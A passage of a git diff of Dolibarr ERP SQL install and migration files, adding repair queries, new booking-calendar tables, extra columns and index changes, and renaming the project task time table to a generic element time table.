b/htdocs/install/mysql/migration/repair.sql index a33143f8aef..ee51a92a70f 100644 --- a/htdocs/install/mysql/migration/repair.sql +++ b/htdocs/install/mysql/migration/repair.sql @@ -217,6 +217,10 @@ DELETE from llx_bank_url where type = 'company' and url_id not in (select rowid --SELECT * from llx_bank where rappro = 0 and label LIKE '(CustomerInvoicePayment%)' and rowid not in (select fk_bank from llx_bank_url where type = 'payment'); --SELECT * from llx_bank where rappro = 0 and label LIKE '(SupplierInvoicePayment%)' and rowid not in (select fk_bank from llx_bank_url where type = 'payment_supplier'); +-- Fix: delete orphelins in llx_bank +DELETE FROM llx_bank WHERE fk_account NOT IN (select rowid from llx_bank_account); + + -- Fix link on parent that were removed DROP table tmp_user; CREATE TABLE tmp_user as (select * from llx_user); @@ -315,7 +319,7 @@ UPDATE llx_actioncomm set fk_user_action = fk_user_done where fk_user_done > 0 a UPDATE llx_actioncomm set fk_user_action = fk_user_author where fk_user_author > 0 and (fk_user_action is null or fk_user_action = 0); -UPDATE llx_projet_task_time set task_datehour = task_date where task_datehour IS NULL and task_date IS NOT NULL; +UPDATE llx_element_time set element_datehour = element_date where element_datehour IS NULL and element_date IS NOT NULL; UPDATE llx_projet set fk_opp_status = NULL where fk_opp_status = -1; UPDATE llx_projet set fk_opp_status = (SELECT rowid FROM llx_c_lead_status WHERE code='PROSP') where fk_opp_status IS NULL and opp_amount > 0; @@ -389,8 +393,8 @@ update llx_expedition set date_valid = date_creation where fk_statut = 1 and dat update llx_expedition set date_valid = NOW() where fk_statut = 1 and date_valid IS NULL; -- Detect bad consistency between duraction_effective of a task and sum of time of tasks --- select pt.rowid, pt.duration_effective, SUM(ptt.task_duration) as y from llx_projet_task as pt, llx_projet_task_time as ptt where ptt.fk_task = pt.rowid group by pt.rowid, pt.duration_effective having pt.duration_effective <> y; -update llx_projet_task as pt set pt.duration_effective = (select SUM(ptt.task_duration) as y from llx_projet_task_time as ptt where ptt.fk_task = pt.rowid) where pt.duration_effective <> (select SUM(ptt.task_duration) as y from llx_projet_task_time as ptt where ptt.fk_task = pt.rowid); +-- select pt.rowid, pt.duration_effective, SUM(ptt.element_duration) as y from llx_projet_task as pt, llx_element_time as ptt where ptt.fk_element = pt.rowid and ptt.elementtype = 'task' group by pt.rowid, pt.duration_effective having pt.duration_effective <> y; +update llx_projet_task as pt set pt.duration_effective = (select SUM(ptt.element_duration) as y from llx_element_time as ptt where ptt.fk_element = pt.rowid and ptt.elementtype = 'task') where pt.duration_effective <> (select SUM(ptt.element_duration) as y from llx_element_time as ptt where ptt.fk_element = pt.rowid and ptt.elementtype = 'task'); -- Remove duplicate of shipment mode (keep the one with tracking defined) @@ -422,7 +426,7 @@ UPDATE llx_facture_fourn_det SET fk_code_ventilation = 0 WHERE fk_code_ventilati UPDATE llx_expensereport_det SET fk_code_ventilation = 0 WHERE fk_code_ventilation > 0 AND fk_code_ventilation NOT IN (select rowid FROM llx_accounting_account); --- VMYSQL4.1 update llx_projet_task_time set task_datehour = task_date where task_datehour < task_date or task_datehour > DATE_ADD(task_date, interval 1 day); +-- VMYSQL4.1 update llx_element_time set element_datehour = element_date where element_datehour < element_date or element_datehour > DATE_ADD(element_date, interval 1 day); -- Clean product prices @@ -487,7 +491,7 @@ UPDATE llx_chargesociales SET date_creation = tms WHERE date_creation IS NULL; -- Backport a change of value into the hourly rate. --- update llx_projet_task_time as ptt set ptt.thm = (SELECT thm from llx_user as u where ptt.fk_user = u.rowid) where (ptt.thm is null) +-- update llx_element_time as ptt set ptt.thm = (SELECT thm from llx_user as u where ptt.fk_user = u.rowid) where (ptt.thm is null) -- select * from llx_facturedet as fd, llx_product as p where fd.fk_product = p.rowid AND fd.product_type != p.fk_product_type; @@ -565,14 +569,97 @@ UPDATE llx_facturedet SET situation_percent = 100 WHERE situation_percent IS NUL DELETE FROM llx_rights_def WHERE module = 'hrm' AND perms = 'employee'; --- Sequence to fix the content of llx_bank.amount_main_currency --- Note: amount is amount in currency of bank account + +-- Sequence to fix the content of llx_bank.amount_main_currency (value was empty and should not for payment on bank account with a different currency so when amount_main_currency is different than amount) +-- Note: amount is amount in the currency of the bank account -- Note: pamount is always amount into the main currency --- Note: pmulticurrencyamount is in currency of invoice --- Note: amount_main_currency must be amount in main currency +-- Note: pmulticurrencyamount is in the currency of invoice +-- Note: amount_main_currency must be NULL or amount in main currency of company (we set it when the currency of the bank account differs from main currency) -- DROP TABLE tmp_bank; --- CREATE TABLE tmp_bank SELECT b.rowid, b.amount, p.rowid as pid, p.amount as pamount, p.multicurrency_amount as pmulticurrencyamount FROM llx_bank as b INNER JOIN llx_bank_url as bu ON bu.fk_bank=b.rowid AND bu.type = 'payment' INNER JOIN llx_paiement as p ON bu.url_id = p.rowid WHERE p.multicurrency_amount <> 0 AND p.multicurrency_amount <> p.amount; --- UPDATE llx_bank as b SET b.amount_main_currency = (SELECT tb.pamount FROM tmp_bank as tb WHERE tb.rowid = b.rowid) WHERE b.amount_main_currency IS NULL; +-- CREATE TABLE tmp_bank SELECT b.rowid, b.amount, p.rowid as pid, p.amount as pamount, p.multicurrency_amount as pmulticurrencyamount, b.datec FROM llx_bank as b INNER JOIN llx_bank_url as bu ON bu.fk_bank=b.rowid AND bu.type = 'payment' INNER JOIN llx_paiement as p ON bu.url_id = p.rowid WHERE p.multicurrency_amount <> 0 AND p.multicurrency_amount <> p.amount; +-- UPDATE llx_bank as b SET b.amount_main_currency = (SELECT tb.pamount FROM tmp_bank as tb WHERE tb.rowid = b.rowid) WHERE b.amount_main_currency IS NULL AND b.rowid IN (SELECT rowid FROM tmp_bank); -- DROP TABLE tmp_bank2; --- CREATE TABLE tmp_bank2 SELECT b.rowid, b.amount, p.rowid as pid, p.amount as pamount, p.multicurrency_amount as pmulticurrencyamount FROM llx_bank as b INNER JOIN llx_bank_url as bu ON bu.fk_bank=b.rowid AND bu.type = 'payment_supplier' INNER JOIN llx_paiementfourn as p ON bu.url_id = p.rowid WHERE p.multicurrency_amount <> 0 AND p.multicurrency_amount <> p.amount; --- UPDATE llx_bank as b SET b.amount_main_currency = (SELECT tb.pamount FROM tmp_bank2 as tb WHERE tb.rowid = b.rowid) WHERE b.amount_main_currency IS NULL; +-- CREATE TABLE tmp_bank2 SELECT b.rowid, b.amount, p.rowid as pid, - p.amount as pamount, - p.multicurrency_amount as pmulticurrencyamount, b.datec FROM llx_bank as b INNER JOIN llx_bank_url as bu ON bu.fk_bank=b.rowid AND bu.type = 'payment_supplier' INNER JOIN llx_paiementfourn as p ON bu.url_id = p.rowid WHERE p.multicurrency_amount <> 0 AND p.multicurrency_amount <> p.amount; +-- UPDATE llx_bank as b SET b.amount_main_currency = (SELECT tb.pamount FROM tmp_bank2 as tb WHERE tb.rowid = b.rowid) WHERE b.amount_main_currency IS NULL AND b.rowid IN (SELECT rowid FROM tmp_bank2); + +-- Sequence to fix the content of llx_bank.amount_main_currency (sign was wrong with some version) +-- UPDATE llx_bank as b SET b.amount_main_currency = -b.amount_main_currency WHERE b.amount IS NOT NULL AND b.amount_main_currency IS NOT NULL AND SIGN(b.amount_main_currency) <> SIGN(b.amount); + + + +-- Delete duplicate entries into llx_c_transport_mode +-- VMYSQL4.1 DELETE T1 FROM llx_c_transport_mode as T1, llx_c_transport_mode as T2 where T1.entity = T2.entity AND T1.code = T2.code and T1.rowid > T2.rowid; +-- VPGSQL8.2 DELETE FROM llx_c_transport_mode as T1 WHERE rowid NOT IN (SELECT min(rowid) FROM llx_c_transport_mode GROUP BY code, entity); + +-- Delete department of regions linked to no coutry, then delete region with no country +DELETE FROM llx_c_departements WHERE fk_region <> 0 AND fk_region IN (select code_region FROM llx_c_regions WHERE fk_pays NOT IN (select rowid from llx_c_country)); +DELETE from llx_c_regions WHERE fk_pays NOT IN (select rowid from llx_c_country); + + +-- Drop duplicate indexes not named correctly and create the only one we should have +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combination; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_2; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_3; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_4; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_5; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_6; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_7; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_8; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_9; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_10; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_11; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_12; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_13; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_14; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_15; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_16; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_17; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_18; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_19; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_20; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_21; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_22; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_23; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_24; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_25; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_26; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_27; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_28; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_29; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_30; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_31; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_32; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_33; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_34; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_35; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_36; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_37; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_38; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_39; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_40; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_41; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_42; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_43; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_44; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_45; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_46; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_47; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_48; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_49; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_50; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_51; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_52; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_53; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_54; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_55; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_56; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_57; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_58; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_59; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_60; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_61; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_62; +alter table llx_product_attribute_combination_price_level drop index fk_product_attribute_combinati_63; +ALTER TABLE llx_product_attribute_combination_price_level ADD UNIQUE INDEX uk_prod_att_comb_price_level(fk_product_attribute_combination, fk_price_level); + + diff --git a/htdocs/install/mysql/tables/llx_actioncomm.key.sql b/htdocs/install/mysql/tables/llx_actioncomm.key.sql index ee16386c7c4..944471620ae 100644 --- a/htdocs/install/mysql/tables/llx_actioncomm.key.sql +++ b/htdocs/install/mysql/tables/llx_actioncomm.key.sql @@ -27,5 +27,6 @@ ALTER TABLE llx_actioncomm ADD INDEX idx_actioncomm_datep (datep); ALTER TABLE llx_actioncomm ADD INDEX idx_actioncomm_datep2 (datep2); ALTER TABLE llx_actioncomm ADD INDEX idx_actioncomm_recurid (recurid); ALTER TABLE llx_actioncomm ADD INDEX idx_actioncomm_ref_ext (ref_ext); +ALTER TABLE llx_actioncomm ADD INDEX idx_actioncomm_percent (percent); ALTER TABLE llx_actioncomm ADD UNIQUE INDEX uk_actioncomm_ref (ref, entity); diff --git a/htdocs/install/mysql/tables/llx_actioncomm.sql b/htdocs/install/mysql/tables/llx_actioncomm.sql index d4d0b65ef25..a64513d5d9e 100644 --- a/htdocs/install/mysql/tables/llx_actioncomm.sql +++ b/htdocs/install/mysql/tables/llx_actioncomm.sql @@ -80,6 +80,8 @@ create table llx_actioncomm fk_element integer DEFAULT NULL, -- For link to an element (proposal, invoice, order, ...) elementtype varchar(255) DEFAULT NULL, -- For link to an element (proposal, invoice, order, ...) + ip varchar(250), --ip used to create record (for public submission page) + import_key varchar(14), extraparams varchar(255) -- for other parameters with json format )ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_bank.sql b/htdocs/install/mysql/tables/llx_bank.sql index 9a1b12d5754..1e7b0c5d6d4 100644 --- a/htdocs/install/mysql/tables/llx_bank.sql +++ b/htdocs/install/mysql/tables/llx_bank.sql @@ -25,7 +25,7 @@ create table llx_bank datev date, -- date de valeur dateo date, -- date operation amount double(24,8) NOT NULL default 0, -- amount in the currency of the bank account - amount_main_currency double(24,8) NULL, -- amount in the main currency of the company + amount_main_currency double(24,8) NULL, -- amount in the main currency of the company when payment done in a bank account with a different currency label varchar(255), fk_account integer, fk_user_author integer, diff --git a/htdocs/install/mysql/tables/llx_bank_account.sql b/htdocs/install/mysql/tables/llx_bank_account.sql index d9713b66d38..d7b8941e69b 100644 --- a/htdocs/install/mysql/tables/llx_bank_account.sql +++ b/htdocs/install/mysql/tables/llx_bank_account.sql @@ -47,6 +47,9 @@ create table llx_bank_account fk_pays integer NOT NULL, proprio varchar(60), owner_address varchar(255), + owner_zip varchar(25), + owner_town varchar(50), + owner_country_id integer DEFAULT NULL, courant smallint DEFAULT 0 NOT NULL, clos smallint DEFAULT 0 NOT NULL, rappro smallint DEFAULT 1, diff --git a/htdocs/install/mysql/tables/llx_bookcal_availabilities-bookcal.key.sql b/htdocs/install/mysql/tables/llx_bookcal_availabilities-bookcal.key.sql new file mode 100644 index 00000000000..3850933f5df --- /dev/null +++ b/htdocs/install/mysql/tables/llx_bookcal_availabilities-bookcal.key.sql @@ -0,0 +1,28 @@ +-- Copyright (C) 2022 Alice Adminson +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 3 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see https://www.gnu.org/licenses/. + + +-- BEGIN MODULEBUILDER INDEXES +ALTER TABLE llx_bookcal_availabilities ADD INDEX idx_bookcal_availabilities_rowid (rowid); +ALTER TABLE llx_bookcal_availabilities ADD INDEX idx_bookcal_availabilities_ref (ref); +ALTER TABLE llx_bookcal_availabilities ADD CONSTRAINT llx_bookcal_availabilities_fk_user_creat FOREIGN KEY (fk_user_creat) REFERENCES llx_user(rowid); +ALTER TABLE llx_bookcal_availabilities ADD INDEX idx_bookcal_availabilities_status (status); +ALTER TABLE llx_bookcal_availabilities ADD INDEX idx_bookcal_availabilities_type (type); +-- END MODULEBUILDER INDEXES + +--ALTER TABLE llx_bookcal_availabilities ADD UNIQUE INDEX uk_bookcal_availabilities_fieldxy(fieldx, fieldy); + +--ALTER TABLE llx_bookcal_availabilities ADD CONSTRAINT llx_bookcal_availabilities_fk_field FOREIGN KEY (fk_field) REFERENCES llx_bookcal_myotherobject(rowid); + diff --git a/htdocs/install/mysql/tables/llx_bookcal_availabilities-bookcal.sql b/htdocs/install/mysql/tables/llx_bookcal_availabilities-bookcal.sql new file mode 100644 index 00000000000..8c8625e10cb --- /dev/null +++ b/htdocs/install/mysql/tables/llx_bookcal_availabilities-bookcal.sql @@ -0,0 +1,44 @@ +-- Copyright (C) 2022 Alice Adminson +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 3 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see https://www.gnu.org/licenses/. + + +CREATE TABLE llx_bookcal_availabilities( + -- BEGIN MODULEBUILDER FIELDS + rowid integer AUTO_INCREMENT PRIMARY KEY NOT NULL, + ref varchar(128) NOT NULL, + label varchar(255), + description text, + note_public text, + note_private text, + date_creation datetime NOT NULL, + tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, + fk_user_creat integer NOT NULL, + fk_user_modif integer, + last_main_doc varchar(255), + import_key varchar(14), + model_pdf varchar(255), + status integer NOT NULL, + start date NOT NULL, + end date NOT NULL, + type integer NOT NULL, + duration integer DEFAULT 30 NOT NULL, + startHour integer NOT NULL, + endHour integer NOT NULL + -- END MODULEBUILDER FIELDS +) ENGINE=innodb; + + +SELECT * FROM llx_bookcal_availabilities +WHERE rowid = 1; diff --git a/htdocs/install/mysql/tables/llx_bookcal_booking-bookcal.key.sql b/htdocs/install/mysql/tables/llx_bookcal_booking-bookcal.key.sql new file mode 100644 index 00000000000..548307e4356 --- /dev/null +++ b/htdocs/install/mysql/tables/llx_bookcal_booking-bookcal.key.sql @@ -0,0 +1,29 @@ +-- Copyright (C) 2022 Alice Adminson +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 3 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see https://www.gnu.org/licenses/. + + +-- BEGIN MODULEBUILDER INDEXES +ALTER TABLE llx_bookcal_booking ADD INDEX idx_bookcal_booking_rowid (rowid); +ALTER TABLE llx_bookcal_booking ADD INDEX idx_bookcal_booking_ref (ref); +ALTER TABLE llx_bookcal_booking ADD INDEX idx_bookcal_booking_fk_soc (fk_soc); +ALTER TABLE llx_bookcal_booking ADD INDEX idx_bookcal_booking_fk_project (fk_project); +ALTER TABLE llx_bookcal_booking ADD CONSTRAINT llx_bookcal_booking_fk_user_creat FOREIGN KEY (fk_user_creat) REFERENCES llx_user(rowid); +ALTER TABLE llx_bookcal_booking ADD INDEX idx_bookcal_booking_status (status); +-- END MODULEBUILDER INDEXES + +--ALTER TABLE llx_bookcal_booking ADD UNIQUE INDEX uk_bookcal_booking_fieldxy(fieldx, fieldy); + +--ALTER TABLE llx_bookcal_booking ADD CONSTRAINT llx_bookcal_booking_fk_field FOREIGN KEY (fk_field) REFERENCES llx_bookcal_myotherobject(rowid); + diff --git a/htdocs/install/mysql/tables/llx_bookcal_booking-bookcal.sql b/htdocs/install/mysql/tables/llx_bookcal_booking-bookcal.sql new file mode 100644 index 00000000000..df3f6384d23 --- /dev/null +++ b/htdocs/install/mysql/tables/llx_bookcal_booking-bookcal.sql @@ -0,0 +1,40 @@ +-- Copyright (C) 2022 Alice Adminson +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 3 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see https://www.gnu.org/licenses/. + + +CREATE TABLE llx_bookcal_booking( + -- BEGIN MODULEBUILDER FIELDS + rowid integer AUTO_INCREMENT PRIMARY KEY NOT NULL, + ref varchar(128) NOT NULL, + fk_soc integer, + fk_project integer, + description text, + note_public text, + note_private text, + date_creation datetime NOT NULL, + tms timestamp DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, + fk_user_creat integer NOT NULL, + fk_user_modif integer, + last_main_doc varchar(255), + import_key varchar(14), + model_pdf varchar(255), + status integer NOT NULL, + firstname varchar(128) NOT NULL, + lastname varchar(128) NOT NULL, + email varchar(128) NOT NULL, + start datetime NOT NULL, + duration integer NOT NULL + -- END MODULEBUILDER FIELDS +) ENGINE=innodb; diff --git a/htdocs/install/mysql/tables/llx_bordereau_cheque.sql b/htdocs/install/mysql/tables/llx_bordereau_cheque.sql index 9b1d6e24ad4..65100ccaae1 100644 --- a/htdocs/install/mysql/tables/llx_bordereau_cheque.sql +++ b/htdocs/install/mysql/tables/llx_bordereau_cheque.sql @@ -26,6 +26,7 @@ create table llx_bordereau_cheque rowid integer AUTO_INCREMENT PRIMARY KEY, ref varchar(30) NOT NULL, -- ref ref_ext varchar(255), -- ref_ext + type varchar(6) DEFAULT 'CHQ', -- 'CHQ', 'TRA', ... datec datetime NOT NULL, date_bordereau date, amount double(24,8) NOT NULL, diff --git a/htdocs/install/mysql/tables/llx_c_action_trigger.sql b/htdocs/install/mysql/tables/llx_c_action_trigger.sql index be1c8580541..e20ec7fdd6e 100644 --- a/htdocs/install/mysql/tables/llx_c_action_trigger.sql +++ b/htdocs/install/mysql/tables/llx_c_action_trigger.sql @@ -24,6 +24,7 @@ create table llx_c_action_trigger rowid integer AUTO_INCREMENT PRIMARY KEY, elementtype varchar(64) NOT NULL, code varchar(128) NOT NULL, + contexts varchar(255) NULL, -- list of possible contexts when ther is different context of trigger label varchar(128) NOT NULL, description varchar(255), rang integer DEFAULT 0 diff --git a/htdocs/install/mysql/tables/llx_c_country.sql b/htdocs/install/mysql/tables/llx_c_country.sql index 7419b68c26d..f17d93ecdbd 100644 --- a/htdocs/install/mysql/tables/llx_c_country.sql +++ b/htdocs/install/mysql/tables/llx_c_country.sql @@ -21,11 +21,14 @@ create table llx_c_country ( - rowid integer PRIMARY KEY, - code varchar(2) NOT NULL, - code_iso varchar(3) , - label varchar(128) NOT NULL, - eec tinyint DEFAULT 0 NOT NULL, - active tinyint DEFAULT 1 NOT NULL, - favorite tinyint DEFAULT 0 NOT NULL + rowid integer PRIMARY KEY, + code varchar(2) NOT NULL, -- the iso 2 alpha code + code_iso varchar(3), -- the iso 3 alpha code + numeric_code varchar(3), -- the iso numeric number + label varchar(128) NOT NULL, + eec tinyint DEFAULT 0 NOT NULL, + active tinyint DEFAULT 1 NOT NULL, + favorite tinyint DEFAULT 0 NOT NULL )ENGINE=innodb; + + diff --git a/htdocs/install/mysql/tables/llx_c_tva.sql b/htdocs/install/mysql/tables/llx_c_tva.sql index b9a6cc4e12c..9bc77bb69ea 100644 --- a/htdocs/install/mysql/tables/llx_c_tva.sql +++ b/htdocs/install/mysql/tables/llx_c_tva.sql @@ -28,6 +28,7 @@ create table llx_c_tva localtax1_type varchar(10) NOT NULL DEFAULT '0', localtax2 varchar(20) NOT NULL DEFAULT '0', localtax2_type varchar(10) NOT NULL DEFAULT '0', + use_default tinyint DEFAULT 0, -- set to 1 to be the default vat when no vat defined on product recuperableonly integer NOT NULL DEFAULT 0, note varchar(128), active tinyint DEFAULT 1 NOT NULL, diff --git a/htdocs/install/mysql/tables/llx_commande.sql b/htdocs/install/mysql/tables/llx_commande.sql index 67712178bd3..e64ce7ff14f 100644 --- a/htdocs/install/mysql/tables/llx_commande.sql +++ b/htdocs/install/mysql/tables/llx_commande.sql @@ -77,7 +77,7 @@ create table llx_commande fk_incoterms integer, -- for incoterms location_incoterms varchar(255), -- for incoterms import_key varchar(14), - extraparams varchar(255), -- for stock other parameters with json format + extraparams varchar(255), -- to save other parameters with json format fk_multicurrency integer, multicurrency_code varchar(3), diff --git a/htdocs/install/mysql/tables/llx_commande_fournisseur_dispatch.sql b/htdocs/install/mysql/tables/llx_commande_fournisseur_dispatch.sql index 058a74eea19..869225a534c 100644 --- a/htdocs/install/mysql/tables/llx_commande_fournisseur_dispatch.sql +++ b/htdocs/install/mysql/tables/llx_commande_fournisseur_dispatch.sql @@ -18,9 +18,9 @@ -- particular supplier order. A movement with same information is also done -- into stock_movement so this table may be useless. -- --- Detail of each lines of a reception (qty, batch and into wich warehouse is --- received a purchase order line). --- This table should be also name llx_receptiondet. +-- Detail of each lines of a reception (qty, batch and into which warehouse must be +-- received or has been receveived a purchase order line). +-- This table should have been named llx_receptiondet_batch -- =================================================================== create table llx_commande_fournisseur_dispatch diff --git a/htdocs/install/mysql/tables/llx_commande_fournisseur_dispatch_extrafields.sql b/htdocs/install/mysql/tables/llx_commande_fournisseur_dispatch_extrafields.sql index 2c85521ea84..d8720358cec 100644 --- a/htdocs/install/mysql/tables/llx_commande_fournisseur_dispatch_extrafields.sql +++ b/htdocs/install/mysql/tables/llx_commande_fournisseur_dispatch_extrafields.sql @@ -14,6 +14,7 @@ -- You should have received a copy of the GNU General Public License -- along with this program. If not, see . -- +-- This table should have been named llx_receptiondet_batch_extrafields -- =================================================================== create table llx_commande_fournisseur_dispatch_extrafields diff --git a/htdocs/install/mysql/tables/llx_commande_fournisseurdet.sql b/htdocs/install/mysql/tables/llx_commande_fournisseurdet.sql index f6092bc4c74..0dfed7152aa 100644 --- a/htdocs/install/mysql/tables/llx_commande_fournisseurdet.sql +++ b/htdocs/install/mysql/tables/llx_commande_fournisseurdet.sql @@ -25,7 +25,7 @@ create table llx_commande_fournisseurdet fk_commande integer NOT NULL, fk_parent_line integer NULL, fk_product integer, - ref varchar(50), -- supplier product ref + ref varchar(128), -- supplier product ref label varchar(255), -- product label description text, vat_src_code varchar(10) DEFAULT '', -- Vat code used as source of vat fields. Not strict foreign key here. diff --git a/htdocs/install/mysql/tables/llx_ecm_files.sql b/htdocs/install/mysql/tables/llx_ecm_files.sql index cf9f3a8f148..14952d45594 100644 --- a/htdocs/install/mysql/tables/llx_ecm_files.sql +++ b/htdocs/install/mysql/tables/llx_ecm_files.sql @@ -22,6 +22,7 @@ CREATE TABLE llx_ecm_files ref varchar(128), -- contains hash from filename+filepath label varchar(128) NOT NULL, -- contains hash of file content share varchar(128) NULL, -- contains hash for file sharing + share_pass varchar(32) NULL, -- password to access the file (encoded with dolEncrypt) entity integer DEFAULT 1 NOT NULL, -- multi company id filepath varchar(255) NOT NULL, -- relative to dolibarr document dir. Example module/def filename varchar(255) NOT NULL, -- file name only without any directory diff --git a/htdocs/install/mysql/tables/llx_projet_task_time.key.sql b/htdocs/install/mysql/tables/llx_element_time.key.sql similarity index 73% rename from htdocs/install/mysql/tables/llx_projet_task_time.key.sql rename to htdocs/install/mysql/tables/llx_element_time.key.sql index 5acb17bb712..5de06450e75 100644 --- a/htdocs/install/mysql/tables/llx_projet_task_time.key.sql +++ b/htdocs/install/mysql/tables/llx_element_time.key.sql @@ -1,5 +1,6 @@ -- =========================================================================== -- Copyright (C) 2014 Laurent Destailleur +-- Copyright (C) 2023 Gauthier VERDOL -- -- This program is free software; you can redistribute it and/or modify -- it under the terms of the GNU General Public License as published by @@ -16,7 +17,7 @@ -- -- =========================================================================== -ALTER TABLE llx_projet_task_time ADD INDEX idx_projet_task_time_task (fk_task); -ALTER TABLE llx_projet_task_time ADD INDEX idx_projet_task_time_date (task_date); -ALTER TABLE llx_projet_task_time ADD INDEX idx_projet_task_time_datehour (task_datehour); +ALTER TABLE llx_element_time ADD INDEX idx_element_time_task (fk_element); +ALTER TABLE llx_element_time ADD INDEX idx_element_time_date (element_date); +ALTER TABLE llx_element_time ADD INDEX idx_element_time_datehour (element_datehour); diff --git a/htdocs/install/mysql/tables/llx_element_time.sql b/htdocs/install/mysql/tables/llx_element_time.sql new file mode 100644 index 00000000000..cf346a48ec0 --- /dev/null +++ b/htdocs/install/mysql/tables/llx_element_time.sql @@ -0,0 +1,38 @@ +-- Copyright (C) 2023 Gauthier VERDOL +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 3 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. 